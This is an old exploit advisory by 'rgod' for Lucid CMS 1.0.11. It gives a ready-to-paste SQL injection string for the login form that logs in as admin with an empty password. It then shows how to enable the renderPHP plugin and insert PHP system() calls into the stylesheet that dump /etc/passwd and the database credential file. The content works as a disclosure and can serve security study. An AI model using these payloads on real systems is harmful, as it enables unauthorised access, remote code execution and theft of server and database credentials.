Lucid CMS 1.0.11 SQL Injection / Login Bypass / remote code execution
Lucid CMS 1.0.11 SQL Injection / Login Bypass / remote code execution
software:
site: http://lucidcms.net/
description:
lucidCMS is a simple and flexible content management system for the individual
or
organization that wishes to manage a collection of web pages without the
overhead
and complexity of other available "community" CMS options.
1) if magic quotes off -> SQL Injection:
you can login as admin typing in login form:
login:
'UNION(SELECT'1','admin','admin','FAKE@xxxxxxxxxxx','d41d8cd98f00b204e9800998ecf8427e','1')/*
pass: [nothing] ^
|
|
this is the hash
of...nothing
the result of
md5('');
note:"login" without spaces
the login query become:
SELECT * FROM lucid_users WHERE
name=''UNION(SELECT'1','admin','admin','FAKE@xxxxxxxxxxx','d41d8cd98f00b204e9800998ecf8427e','1')/*'
2)
now new admin can edit template and insert evil javascript code, see the
phpinfo(), manage users/groups,
activate/disable plugins, you can activate renderPHP plugin, add the following
line at the end of
the main stylesheet:
<?php error_reporting(0); system('cat /etc/passwd > temp.txt'); ?>
to see /etc/passwd file
<?php error_reporting(0); system('cat dBConfig.php > temp.txt'); ?>
to see database username/password, the database name and table prefix... now
you have the full control
of the database
rgod
site: http://altervista.org
mail: retrogod@xxxxxxxxxxxxx
original advisory: http://rgod.altervista.org/lucidcms1011.html